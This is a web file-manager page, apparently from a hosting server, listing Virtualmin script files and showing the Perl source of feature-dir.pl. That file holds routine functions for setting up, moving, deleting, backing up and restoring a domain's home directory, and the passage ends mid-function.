-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : feature-dir.pl
# Functions for managing a domain's home directory # check_depends_dir(&domain) # A top-level domain with no Unix user makes no sense, because who's going to # own the files? sub check_depends_dir { local ($d) = @_; if (!$d->{'parent'} && !$d->{'unix'}) { return $text{'setup_edepunixdir'}; } return undef; } # setup_dir(&domain) # Creates the home directory sub setup_dir { local $tmpl = &get_template($_[0]->{'template'}); &require_useradmin(); local $qh = quotemeta($_[0]->{'home'}); &$first_print($text{'setup_home'}); # Get Unix user, either for this domain or its parent local $uinfo; if ($_[0]->{'unix'} || $_[0]->{'parent'}) { local @users = &list_all_users(); ($uinfo) = grep { $_->{'user'} eq $_[0]->{'user'} } @users; } if ($_[0]->{'unix'} && !$uinfo) { # If we are going to have a Unix user but none has been created # yet, fake his details here for use in chowning and skel copying # This should never happen! $uinfo ||= { 'uid' => $_[0]->{'uid'}, 'gid' => $_[0]->{'ugid'}, 'shell' => '/bin/sh', 'group' => $_[0]->{'group'} || $_[0]->{'ugroup'} }; } # Create and populate home directory &create_domain_home_directory($_[0], $uinfo); # Populate home dir if ($tmpl->{'skel'} ne "none" && !$_[0]->{'nocopyskel'} && !$_[0]->{'alias'}) { # Don't die if this fails due to quota issues eval { local $main::error_must_die = 1; ©_skel_files(&substitute_domain_template($tmpl->{'skel'}, $_[0]), $uinfo, $_[0]->{'home'}, $_[0]->{'group'} || $_[0]->{'ugroup'}, $_[0]); }; } # If this is a sub-domain, move public_html from any skeleton to it's sub-dir # under the parent if ($_[0]->{'subdom'}) { local $phsrc = &public_html_dir($_[0], 0, 1); local $phdst = &public_html_dir($_[0], 0, 0); if (-d $phsrc && !-d $phdst) { &make_dir($phdst, 0755); &set_ownership_permissions($_[0]->{'uid'}, $_[0]->{'gid'}, undef, $phdst); ©_source_dest($phsrc, $phdst); &unlink_file($phsrc); } } # Setup sub-directories &create_standard_directories($_[0]); &$second_print($text{'setup_done'}); # Create mail file if (!$_[0]->{'parent'} && $uinfo) { &$first_print($text{'setup_usermail3'}); eval { local $main::error_must_die = 1; &create_mail_file($uinfo, $_[0]); # Set the user's Usermin IMAP password &set_usermin_imap_password($uinfo); }; if ($@) { &$second_print(&text('setup_eusermail3', "$@")); } else { &$second_print($text{'setup_done'}); } } # Copy excludes from template if ($tmpl->{'exclude'} ne 'none') { $_[0]->{'backup_excludes'} = $tmpl->{'exclude'}; } return 1; } # create_domain_home_directory(&domain, &unix-user) # Create the home directory for a server or sub-server sub create_domain_home_directory { local ($d, $uinfo) = @_; local $perms = oct($uconfig{'homedir_perms'}); if (&has_domain_user($d) && $d->{'parent'}) { # Run as domain owner, as this is a sub-server &make_dir_as_domain_user($d, $d->{'home'}, $perms, 1); &set_permissions_as_domain_user($d, $perms, $d->{'home'}); } else { # Run commands as root, as user is missing if (!-d $d->{'home'}) { &make_dir($d->{'home'}, $perms, 1); } &set_ownership_permissions(undef, undef, $perms, $d->{'home'}); if ($uinfo) { &set_ownership_permissions($uinfo->{'uid'}, $uinfo->{'gid'}, undef, $d->{'home'}); } } } # create_standard_directories(&domain) # Create and set permissions on standard directories sub create_standard_directories { local ($d) = @_; foreach my $dir (&virtual_server_directories($d)) { my $path = "$d->{'home'}/$dir->[0]"; &create_standard_directory_for_domain($d, $path, $dir->[1]); } } # create_standard_directory_for_domain(&domain, path, perms) # Create one directory that should be owned by the domain user sub create_standard_directory_for_domain { my ($d, $path, $perm) = @_; &lock_file($path); if (&has_domain_user($d)) { # Do creation as domain owner if (!-d $path) { &make_dir_as_domain_user($d, $path, oct($perm), 1); &set_permissions_as_domain_user($d, oct($perm), $path); } } else { # Need to run as root if (!-d $path) { &make_dir($path, oct($perm), 1); &set_ownership_permissions(undef, undef, oct($perm), $path); } if ($d->{'uid'} && ($d->{'unix'} || $d->{'parent'})) { &set_ownership_permissions($d->{'uid'}, $d->{'gid'}, undef, $path); } } &unlock_file($path); } # modify_dir(&domain, &olddomain) # Rename home directory if needed sub modify_dir { local ($d, $oldd) = @_; # Special case .. converting alias to non-alias, so some directories need to # be created if ($oldd->{'alias'} && !$d->{'alias'}) { &$first_print($text{'save_dirunalias'}); local $tmpl = &get_template($d->{'template'}); if ($tmpl->{'skel'} ne "none") { local $uinfo = &get_domain_owner($d, 1); ©_skel_files( &substitute_domain_template($tmpl->{'skel'}, $d), $uinfo, $d->{'home'}, $d->{'group'} || $d->{'ugroup'}, $d); } &create_standard_directories($d); &$second_print($text{'setup_done'}); } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($oldd, 1); } if ($d->{'home'} ne $oldd->{'home'}) { # Move the home directory if changed, and if not already moved as # part of parent if (-d $oldd->{'home'}) { &$first_print($text{'save_dirhome'}); if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 1); } local $wasjailed = 0; if (!&check_jailkit_support() && !$oldd->{'parent'} && &get_domain_jailkit($oldd)) { # Turn off jail for the old home &disable_domain_jailkit($oldd); $wasjailed = 1; } local $cmd = $config{'move_command'} || "mv"; $cmd .= " ".quotemeta($oldd->{'home'}). " ".quotemeta($d->{'home'}); $cmd .= " 2>&1 </dev/null"; &set_domain_envs($oldd, "MODIFY_DOMAIN", $d); local $out = &backquote_logged($cmd); &reset_domain_envs($oldd); if ($?) { &$second_print(&text('save_dirhomefailed', "<tt>$out</tt>")); } else { &$second_print($text{'setup_done'}); } if ($wasjailed) { # Turn jail back on for the new home my $err = &enable_domain_jailkit($d); if ($err) { &$second_print(&text('setup_ejail', $err)); } } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 0); } } } if ($d->{'unix'} && !$oldd->{'unix'} || $d->{'uid'} ne $oldd->{'uid'}) { # Unix user now exists or has changed! Set ownership of home dir &$first_print($text{'save_dirchown'}); &set_home_ownership($d); &$second_print($text{'setup_done'}); } if (!$d->{'subdom'} && $oldd->{'subdom'}) { # No longer a sub-domain .. move the HTML dir local $phsrc = &public_html_dir($oldd); local $phdst = &public_html_dir($d); ©_source_dest($phsrc, $phdst); &unlink_file($phsrc); # And the CGI directory local $cgisrc = &cgi_bin_dir($oldd); local $cgidst = &cgi_bin_dir($d); ©_source_dest($cgisrc, $cgidst); &unlink_file($cgisrc); } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 0); } } # delete_dir(&domain, [preserve-remote]) # Delete the home directory sub delete_dir { local ($d, $preserve) = @_; # Delete homedir &require_useradmin(); if (-d $d->{'home'} && $d->{'home'} ne "/" && !&same_file($d->{'home'}, $home_base)) { &$first_print($text{'delete_home'}); # Don't delete if on remote if ($preserve && &remote_dir($d)) { &$second_print(&text('delete_homepreserve', &remote_dir($d))); return 1; } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 1); } local $err = &backquote_logged("rm -rf ".quotemeta($d->{'home'}). " 2>&1"); if ($?) { # Try again after running chattr if (&has_command("chattr")) { &system_logged("chattr -i -R ". quotemeta($d->{'home'})); $err = &backquote_logged( "rm -rf ".quotemeta($d->{'home'})." 2>&1"); $err = undef if (!$?); } } else { $err = undef; } if ($err) { # Ignore an error deleting a mount point local @subs = &sub_mount_points($d->{'home'}); if (@subs) { $err = undef; } } if ($err) { &$second_print(&text('delete_ehome', &html_escape($err))); } else { &$second_print($text{'setup_done'}); } } return 1; } # clone_dir(&domain, &src-domain) # Copy home directory contents to a new cloned domain sub clone_dir { local ($d, $oldd) = @_; &$first_print($text{'clone_dir'}); if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 1); } # Exclude sub-server directories, logs, SSL certs and .zfs files local $xtemp = &transname(); &open_tempfile(XTEMP, ">$xtemp"); &print_tempfile(XTEMP, "domains\n"); &print_tempfile(XTEMP, "./domains\n"); &print_tempfile(XTEMP, "logs\n"); &print_tempfile(XTEMP, "./logs\n"); if ($gconfig{'os_type'} eq 'solaris') { open(FIND, "find ".quotemeta($d->{'home'})." -name .zfs |"); while(<FIND>) { s/\r|\n//g; s/^\Q$d->{'home'}\E\///; &print_tempfile(XTEMP, "$_\n"); &print_tempfile(XTEMP, "./$_\n"); } close(FIND); } if ($d->{'ssl'}) { # Exclude SSL certs because they are covered by backup_ssl, unless # Nginx is being used foreach my $s ('ssl_cert', 'ssl_key', 'ssl_chain', 'ssl_csr', 'ssl_newkey') { my $p = $d->{$s}; if ($p) { $p =~ s/^\Q$d->{'home'}\E\///; &print_tempfile(XTEMP, "$p\n"); &print_tempfile(XTEMP, "./$p\n"); } } } &close_tempfile(XTEMP); # Clear any in-memory caches of files under home dir if (defined(&list_domain_php_inis) && &foreign_check("phpini")) { my $mode = &get_domain_php_mode($d); $mode = "cgi" if ($mode eq "mod_php" || $mode eq "fpm"); foreach my $ini (&list_domain_php_inis($d, $mode)) { delete($phpini::get_config_cache{$ini->[1]}); } } # Do the copy if (!$d->{'parent'}) { &disable_quotas($d); &disable_quotas($oldd); } if ($d->{'mail'}) { &break_autoreply_alias_links($oldd); } local $err = &backquote_logged( "cd ".quotemeta($oldd->{'home'})." && ". "tar cfX - ".quotemeta($xtemp)." . | ". "(cd ".quotemeta($d->{'home'})." && ". " tar xpf -) 2>&1"); if ($d->{'mail'}) { &create_autoreply_alias_links($oldd); } &set_home_ownership($d); if (!$d->{'parent'}) { &enable_quotas($oldd); &enable_quotas($d); } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 0); } if ($err) { &$second_print(&text('clone_edir', &html_escape($err))); return 0; } else { &$second_print($text{'setup_done'}); return 1; } } # validate_dir(&domain) # Returns an error message if the directory is missing, or has the wrong # ownership sub validate_dir { local ($d) = @_; # Make sure home dir exists and has the correct owner if (!-d $d->{'home'}) { return &text('validate_edir', "<tt>$d->{'home'}</tt>"); } local @st = stat($d->{'home'}); local $auser = &get_apache_user($d); local @ainfo = getpwnam($auser); if ($d->{'uid'} && $st[4] != $d->{'uid'} && $st[4] != $ainfo[2]) { local $owner = getpwuid($st[4]); return &text('validate_ediruser', "<tt>$d->{'home'}</tt>", $owner, $d->{'user'}) } if ($d->{'gid'} && $st[5] != $d->{'gid'} && $st[5] != $d->{'ugid'} && $st[5] != $ainfo[3]) { local $owner = getgrgid($st[5]); return &text('validate_edirgroup', "<tt>$d->{'home'}</tt>", $owner, $d->{'group'}) } if (!$d->{'alias'}) { # Make sure common sub-directories exist foreach my $sd (&virtual_server_directories($d)) { next if ($sd->[0] eq 'virtualmin-backup' || # Not all domains $sd->[0] eq $home_virtualmin_backup); next if ($sd->[2] eq 'ssl' && !&domain_has_ssl_cert($d)); if (!-d "$d->{'home'}/$sd->[0]") { # Dir is missing return &text('validate_esubdir', "<tt>$sd->[0]</tt>") } local @st = stat("$d->{'home'}/$sd->[0]"); if ($d->{'uid'} && $st[4] != $d->{'uid'} && $st[4] != $ainfo[2]) { # UID is wrong local $owner = getpwuid($st[4]); return &text('validate_esubdiruser', "<tt>$sd->[0]</tt>", $owner, $d->{'user'}) } if ($d->{'gid'} && $st[5] != $d->{'gid'} && $st[5] != $d->{'ugid'} && $st[5] != $ainfo[3]) { # GID is wrong local $owner = getgrgid($st[5]); return &text('validate_esubdirgroup', "<tt>$sd->[0]</tt>", $owner, $d->{'group'}) } } } # Make sure cert files are valid if (!$d->{'ssl_same'} && &domain_has_ssl_cert($d)) { foreach my $t ('key', 'cert', 'ca') { my $file = &get_website_ssl_file($d, $t); next if (!$file); my $err = &validate_cert_format($file, $t); if ($err) { return &text('validate_esslfile', $t, $err); } } } return undef; } # check_dir_clash(&domain, [field]) sub check_dir_clash { # Does nothing ..? return 0; } # backup_dir(&domain, file, &options, home-format, incremental, [&as-domain], # &all-options, &key) # Backs up the server's home directory in tar format to the given file sub backup_dir { local ($d, $file, $opts, $homefmt, $increment, $asd, $allopts, $key) = @_; local $compression = $opts->{'compression'}; &$first_print($compression == 3 ? $text{'backup_dirzip'} : $increment == 1 ? $text{'backup_dirtarinc'} : $text{'backup_dirtar'}); local $out; local $cmd; local $gzip = $homefmt && &has_command("gzip"); local $destfile = $file; if (!$homefmt) { $destfile .= ".".&compression_to_suffix($compression); } # Create an indicator file in the home directory showing where this backup # came from. This can be used when replicating to know that the home directory # is shared. my ($home_mtab, $home_fstab) = &mount_point($d->{'home'}); my $tab = $home_mtab || $home_fstab; my %src = ( 'id' => $d->{'id'}, 'host' => &get_system_hostname(), 'mount' => $tab ? $tab->[1] : undef ); if ($src{'mount'} !~ /^[a-z0-9_\-\.]+:/i) { # Doesn't look like an NFS mount delete($src{'mount'}); } &write_as_domain_user($d, sub { &write_file("$d->{'home'}/.virtualmin-src", \%src) }); # Create exclude file local $xtemp = &transname(); local @xlist; local @ilist; if ($opts->{'include'}) { # Include only specific files @ilist = split(/\t+/, $opts->{'exclude'}); push(@ilist, ".backup") if ($homefmt); if ($compression != 3) { @ilist = map { "./".$_ } @ilist; } } else { # Build list of files to exclude push(@xlist, "domains"); if ($opts->{'dirnologs'}) { push(@xlist, "logs"); } if ($opts->{'dirnohomes'}) { push(@xlist, "homes"); } push(@xlist, $home_virtualmin_backup); push(@xlist, &get_backup_excludes($d)); push(@xlist, split(/\t+/, $opts->{'exclude'})); push(@xlist, "backup.lock"); # Exclude all .zfs files, for Solaris if ($gconfig{'os_type'} eq 'solaris') { open(FIND, "find ".quotemeta($d->{'home'})." -name .zfs |"); while(<FIND>) { s/\r|\n//g; s/^\Q$d->{'home'}\E\///; push(@xlist, $_); } close(FIND); } @ilist = ("."); if ($compression != 3) { @xlist = map { "./".$_ } @xlist; } } &open_tempfile(XTEMP, ">$xtemp"); foreach my $x (@xlist) { &print_tempfile(XTEMP, "$x\n"); } &close_tempfile(XTEMP); # Work out incremental flags local ($iargs, $iflag, $ifile, $ifilecopy); if (&has_incremental_tar() && $increment != 2) { if (!-d $incremental_backups_dir) { &make_dir($incremental_backups_dir, 0700); } $ifile = "$incremental_backups_dir/$d->{'id'}"; if (!$_[4]) { # Force full backup &unlink_file($ifile); } else { # Add a flag file indicating that this was an incremental, # and take a copy of the file so we can put it back as before # the backup (as tar modifies it) if (-r $ifile) { $iflag = "$d->{'home'}/.incremental"; &open_tempfile_as_domain_user( $d, IFLAG, ">$iflag", 0, 1); &close_tempfile_as_domain_user($d, IFLAG); $ifilecopy = &transname(); ©_source_dest($ifile, $ifilecopy); } } $iargs = "--listed-incremental=$ifile"; } # Create the dest file with strict permissions local $qf = quotemeta($destfile); local $toucher = "touch $qf && chmod 600 $qf"; if ($asd && $homefmt) { $toucher = &command_as_user($asd->{'user'}, 0, $toucher); } &execute_command($toucher); # Create the writer command. This will be run as the domain owner if this # is the final step of the backup process, and if the owner is doing the backup. local $writer = "cat >$qf"; if ($asd && $homefmt) { $writer = &command_as_user($asd->{'user'}, 0, $writer); } # If encrypting, add gpg to the pipeline - unless encryption is being done # at a higher level if ($key && $homefmt) { $writer = &backup_encryption_command($key)." | ".$writer; } # Do the backup, using a compressed format if this is the outermost archive # or if using ZIP. Otherwise just use tar, since there will be another level # of compression. if ($homefmt && $compression == 0) { # With gzip $cmd = &make_tar_command("cfX", "-", $xtemp, $iargs, @ilist). " | ".&get_gzip_command(); } elsif ($homefmt && $compression == 1) { # With bzip $cmd = &make_tar_command("cfX", "-", $xtemp, $iargs, @ilist). " | ".&get_bzip2_command(); } elsif ($compression == 3) { # ZIP archive $cmd = &make_zip_command("-x\@".quotemeta($xtemp), "-", @ilist); } else { # Plain tar $cmd = &make_tar_command("cfX", "-", $xtemp, $iargs, @ilist); } $cmd .= " | $writer"; local $ex = &execute_command("cd ".quotemeta($d->{'home'})." && $cmd", undef, \$out, \$out); &unlink_file($iflag) if ($iflag); ©_source_dest($ifilecopy, $ifile) if ($ifilecopy); if (-r $ifile) { # Make owned by domain owner, so tar can read in future &set_ownership_permissions($d->{'uid'}, $d->{'gid'}, 0700, $ifile); } if ($ex || !-s $destfile) { &unlink_file($destfile); &$second_print(&text($cmd =~ /^\S*zip/ ? 'backup_dirzipfailed' : 'backup_dirtarfailed', "<pre>".&html_escape($out)."</pre>")); return 0; } else { &$second_print($text{'setup_done'}); return 1; } } # show_backup_dir(&options) # Returns HTML for the backup logs option sub show_backup_dir { local ($opts) = @_; return &ui_checkbox("dir_logs", 1, $text{'backup_dirlogs'}, !$opts->{'dirnologs'})." ". &ui_checkbox("dir_homes", 1, &text('backup_dirhomes2', $config{'homes_dir'}), !$opts->{'dirnohomes'}); } # parse_backup_dir(&in) # Parses the inputs for directory backup options sub parse_backup_dir { local %in = %{$_[0]}; return { 'dirnologs' => $in{'dir_logs'} ? 0 : 1, 'dirnohomes' => $in{'dir_homes'} ? 0 : 1 }; } # show_restore_dir(&options, &domain) # Returns HTML for mail restore option inputs sub show_restore_dir { local ($opts) = @_; return &ui_checkbox("dir_homes", 1, $text{'restore_dirhomes'}, !$opts->{'dirnohomes'})."<br>\n". &ui_checkbox("dir_delete", 1, $text{'restore_dirdelete'}, $opts->{'delete'}); } # parse_restore_dir(&in, &domain) # Parses the inputs for mail backup options sub parse_restore_dir { local %in = %{$_[0]}; return { 'dirnohomes' => !$in{'dir_homes'}, 'delete' => $in{'dir_delete'} }; } # restore_dir(&domain, file, &options, &all-options, homeformat?, &oldd, # asowner, &key) # Extracts the given tar file into server's home directory sub restore_dir { local ($d, $file, $opts, $allopts, $homefmt, $oldd, $asd, $key) = @_; local $srcfile = $file; if (!-r $srcfile) { ($srcfile) = glob("$file.*"); } local $cf = &compression_format($srcfile, $key); &$first_print($cf == 4 ? $text{'restore_dirzip'} : $text{'restore_dirtar'}); # Check if in replication mode and restoring to the same NFS server my ($home_mtab, $home_fstab) = &mount_point($d->{'home'}); my $tab = $home_mtab || $home_fstab; my %src; &write_as_domain_user($d, sub { &read_file("$d->{'home'}/.virtualmin-src", \%src) }); if ($allopts->{'repl'} && $src{'id'} && $src{'id'} eq $d->{'id'} && $src{'mount'} && $src{'mount'} eq ($tab ? $tab->[1] : undef)) { &$second_print(&text('restore_dirsame', $src{'mount'})); return 1; } # Check for free space, if possible my $osize = &get_compressed_file_size($srcfile, $key); if ($osize && $config{'home_quotas'}) { &foreign_require("mount"); my @space = &mount::disk_space(undef, $config{'home_quotas'}); if (@space && $space[1]*1024 < $osize) { # Won't fit! &$first_print(&text('restore_edirspace', &nice_size($osize), &nice_size($space[1]*1024))); } } local $iflag = "$d->{'home'}/.incremental"; &unlink_file($iflag); if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 1, 1); } # Create exclude file, to skip local system-specific files local $xtemp = &transname(); &open_tempfile(XTEMP, ">$xtemp"); my @exc = ( "cgi-bin/lang", # Used by AWstats, and created locally .. so "cgi-bin/lib", # no need to include in restore. "cgi-bin/plugins", "public_html/icon", "public_html/awstats-icon", ".backup"); if ($opts->{'dirnohomes'}) { push(@exc, "homes"); } foreach my $e (@exc) { &print_tempfile(XTEMP, $e,"\n"); &print_tempfile(XTEMP, "./",$e,"\n"); } &close_tempfile(XTEMP); # Check if Apache logs were links before the restore local $alog = "$d->{'home'}/logs/access_log"; local $elog = "$d->{'home'}/logs/error_log"; local ($aloglink, $eloglink); if ($d->{'web'}) { $aloglink = readlink($alog); $eloglink = readlink($elog); } # If home dir is missing (perhaps due to deletion of /home), re-create it if (!-e $d->{'home'}) { local $uinfo; if ($d->{'unix'} || $d->{'parent'}) { local @users = &list_all_users(); ($uinfo) = grep { $_->{'user'} eq $d->{'user'} } @users; } &create_domain_home_directory($d, $uinfo); } # Turn off quotas for the domain, to prevent the import failing &disable_quotas($d); local $outfile = &transname(); local $errfile = &transname(); local $q = quotemeta($srcfile); local $qh = quotemeta($d->{'home'}); local $catter; if ($key && $homefmt) { $catter = &backup_decryption_command($key)." ".$q; } else { $catter = "cat $q"; } if ($cf == 4) { # Unzip command does un-compression and un-archiving # XXX ZIP doesn't support excludes of paths :-( &execute_command("cd $qh && unzip -o $q", undef, $outfile, $outfile); } else { local $comp = $cf == 1 ? &get_gunzip_command()." -c" : $cf == 2 ? "uncompress -c" : $cf == 3 ? &get_bunzip2_command()." -c" : "cat"; local $tarcmd = &make_tar_command("xvfX", "-", $xtemp); local $reader = $catter." | ".$comp; if ($asd) { # Run as domain owner - disabled, as this prevents some files # from being written to by tar $tarcmd = &command_as_user($d->{'user'}, 0, $tarcmd); } &execute_command("cd $qh && $reader | $tarcmd", undef, $outfile,$errfile); } local $out = &read_file_contents($outfile); $out =~ s/\\([0-7]+)/chr(oct($1))/ge; local $err = &read_file_contents($errfile); local $ex = $?; &enable_quotas($d); if ($ex) { # Errors about utime in the tar extract are ignored when running # as the domain owner &$second_print(&text('backup_dirtarfailed', "<pre>".&html_escape($err)."</pre>")); return 0; } else { # Check for incremental restore of newly-created domain, which indicates # that is is not complete my $wasincr = -r $iflag; if ($d->{'wasmissing'} && $wasincr) { &$second_print($text{'restore_wasmissing'}); } else { &$second_print($text{'setup_done'}); } &unlink_file($iflag); if ($d->{'unix'} || $d->{'parent'} && &get_domain($d->{'parent'})->{'unix'}) { # Set ownership on extracted home directory, apart from # content of ~/homes - unless running as the domain owner, # in which case ~/homes is set too &$first_print($text{'restore_dirchowning'}); &set_home_ownership($d); if ($asd && !$opts->{'dirnohomes'}) { &set_mailbox_homes_ownership($d); } &$second_print($text{'setup_done'}); } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($d, 0, 1); } # Incremental file is no longer valid, so clear it local $ifile = "$incremental_backups_dir/$d->{'id'}"; &unlink_file($ifile); # Check if logs are links now .. if not, we need to move the files local $new_aloglink = readlink($alog); local $new_eloglink = readlink($elog); if ($d->{'web'} && !$d->{'subdom'} && !$d->{'alias'}) { local $new_alog = &get_website_log($d, 0); local $new_elog = &get_website_log($d, 1); if ($aloglink && !$new_aloglink) { &system_logged("mv ".quotemeta($alog)." ". quotemeta($new_alog)); } if ($eloglink && !$new_eloglink) { &system_logged("mv ".quotemeta($elog)." ". quotemeta($new_elog)); } } # For a non-incremental restore, delete files that weren't in the backup if (!$wasincr && $cf != 4 && $opts->{'delete'}) { # Parse tar output to find files that were restored my %restored; foreach my $l (split(/\r?\n/, $out)) { $l =~ s/^\.\///; $l =~ s/\/$//; $restored{$l} = 1; } # Find files that exist now my @existing; &open_execute_command(FIND, "cd ".quotemeta($d->{'home'})." && ". "find . -print", 1, 1); while(my $l = <FIND>) { $l =~ s/\r|\n//g; $l =~ s/^\.\///; push(@existing, $l); } # Add standard dirs to exclude list (exclude public_html and # cgi-bin) my $phd = &public_html_dir($d, 1); my $cgd = &cgi_bin_dir($d, 1); foreach my $dir (&virtual_server_directories($d)) { next if ($dir->[0] eq $phd || $dir->[0] eq $cgd); push(@exc, $dir->[0]); } # Exclude other transient dirs push(@exc, ".backup.lock"); push(@exc, $home_virtualmin_backup); push(@exc, "logs"); # Some backups don't include logs push(@exc, "homes"); # or homes dirs push(@exc, &get_backup_excludes($d)); # Delete those that weren't in tar, except for excluded dirs foreach my $f (@existing) { next if ($restored{$f}); next if ($f eq "." || $f eq ".." || $f =~ /\/\.$/ || $f =~ /\/\.\.$/); next if ($f =~ /\/\.zfs$/ || $f eq ".zfs"); # Check if on exclude list my $skip = 0; foreach my $e (@exc) { if ($f eq $e || $f =~ /^\Q$e\E\//) { $skip = 1; } } next if ($skip); # Can delete the file &unlink_logged("$d->{'home'}/$f"); } } return 1; } } # set_home_ownership(&domain) # Update the ownership of all files in a server's home directory, EXCEPT # the homes directory which is used by mail users sub set_home_ownership { local ($d) = @_; local $hd = $config{'homes_dir'}; $hd =~ s/^\.\///; local @users = grep { $_->{'unix'} && !$_->{'webowner'} } &list_domain_users($d, 1, 1, 1, 1); local $gid = $d->{'gid'} || $d->{'ugid'}; foreach my $sd ($d, &get_domain_by("parent", $d->{'id'})) { if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($sd, 1); } } # Build list of dirs to skip (sub-domain homes and user homes) my @subhomes; if (!$d->{'parent'}) { foreach my $sd (&get_domain_by("parent", $d->{'id'})) { push(@subhomes, "$sd->{'home'}/$hd/"); } } foreach my $user (@users) { push(@subhomes, $user->{'home'}); } &open_execute_command(FIND, "find ".quotemeta($d->{'home'})." ! -type l", 1); LOOP: while(my $f = <FIND>) { $f =~ s/\r|\n//; next LOOP if ($f =~ /\/\.nodelete$/); next LOOP if ($f =~ /^\Q$d->{'home'}\/$hd\/\E/); foreach my $s (@subhomes) { next LOOP if ($f =~ /^\Q$s\E/); } &set_ownership_permissions($d->{'uid'}, $gid, undef, $f); } close(FIND); &set_ownership_permissions($d->{'uid'}, $gid, undef, $d->{'home'}."/".$hd); foreach my $dir (&virtual_server_directories($d)) { &set_ownership_permissions(undef, undef, oct($dir->[1]), $d->{'home'}."/".$dir->[0]); } foreach my $user (@users) { next if ($user->{'nocreatehome'}); next if (!&is_under_directory("$d->{'home'}/$hd", $user->{'home'})); next if ("$d->{'home'}/$hd" eq $user->{'home'}); &system_logged("chown -R $user->{'uid'}:$user->{'gid'} ". quotemeta($user->{'home'})); } foreach my $sd ($d, &get_domain_by("parent", $d->{'id'})) { if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable($sd, 0); } } return undef; } # set_mailbox_homes_ownership(&domain) # Set the owners of all directories under ~/homes to their mailbox users sub set_mailbox_homes_ownership { local ($d) = @_; local $hd = $config{'homes_dir'}; $hd =~ s/^\.\///; local $homes = "$d->{'home'}/$hd"; foreach my $user (&list_domain_users($d, 1, 1, 1, 1)) { if (&is_under_directory($homes, $user->{'home'}) && !$user->{'webowner'} && $user->{'home'}) { &system_logged("find ".quotemeta($user->{'home'}). " | sed -e 's/^/\"/' | sed -e 's/\$/\"/' ". " | xargs chown $user->{'uid'}:$user->{'gid'}"); } } } # virtual_server_directories(&dom) # Returns a list of sub-directories that need to be created for virtual servers sub virtual_server_directories { my ($d) = @_; my $tmpl = &get_template($d->{'template'}); my $perms = $tmpl->{'web_html_perms'}; my @rv; if (!$d->{'subdom'} && !$d->{'alias'}) { push(@rv, [ &public_html_dir($d, 1), $perms, 'html' ]); push(@rv, [ &cgi_bin_dir($d, 1), $perms, 'cgi' ]); } push(@rv, [ 'logs', '750', 'logs' ]); push(@rv, [ $config{'homes_dir'}, '755', 'homes' ]); if (!$d->{'parent'}) { push(@rv, [ $home_virtualmin_backup, '700', 'backup' ]); } if (!$d->{'ssl_same'}) { push(@rv, map { [ $_, '700', 'ssl' ] } &ssl_certificate_directories($d)); } return @rv; } # create_server_tmp(&domain) # Creates the temporary files directory for a domain, and returns the path sub create_server_tmp { local ($d) = @_; if ($d->{'dir'}) { local $tmp = "$d->{'home'}/tmp"; if (!-d $tmp) { &make_dir_as_domain_user($d, $tmp, 0750, 1); } return $tmp; } else { # For domains without a home return "/tmp"; } } # show_template_dir(&tmpl) # Outputs HTML for editing directory-related template options sub show_template_dir { local ($tmpl) = @_; # The skeleton files directory print &ui_table_row(&hlink($text{'tmpl_skel'}, "template_skel"), &none_def_input("skel", $tmpl->{'skel'}, $text{'tmpl_skeldir'}, 0, $tmpl->{'standard'} ? 1 : 0, undef, [ "skel", "skel_subs", "skel_nosubs", "skel_onlysubs" ])."\n". &ui_textbox("skel", $tmpl->{'skel'} eq "none" ? undef : $tmpl->{'skel'}, 40)); # Perform substitions on skel file contents print &ui_table_row(&hlink($text{'tmpl_skel_subs'}, "template_skel_subs"), &ui_yesno_radio("skel_subs", int($tmpl->{'skel_subs'}))); # File patterns to exclude from skeleton dir print &ui_table_row(&hlink($text{'tmpl_skel_nosubs'}, "template_skel_nosubs"), &ui_textbox("skel_nosubs", $tmpl->{'skel_nosubs'}, 60)); # File patterns to include from skeleton dir print &ui_table_row(&hlink($text{'tmpl_skel_onlysubs'}, "template_skel_onlysubs"), &ui_textbox("skel_onlysubs", $tmpl->{'skel_onlysubs'}, 60)); print &ui_table_hr(); # Default excludes for backups print &ui_table_row(&hlink($text{'tmpl_exclude'}, "template_exclude"), &none_def_input("exclude", $tmpl->{'exclude'}, $text{'tmpl_exdirs'}, 0, $tmpl->{'standard'} ? 1 : 0)."<br>\n". &ui_textarea("exclude", $tmpl->{'exclude'} eq "none" ? undef : join("\n", split(/\t+/, $tmpl->{'exclude'})), 5, 60)); } # parse_template_dir(&tmpl) # Updates directory-related template options from %in sub parse_template_dir { local ($tmpl) = @_; # Save skeleton directory 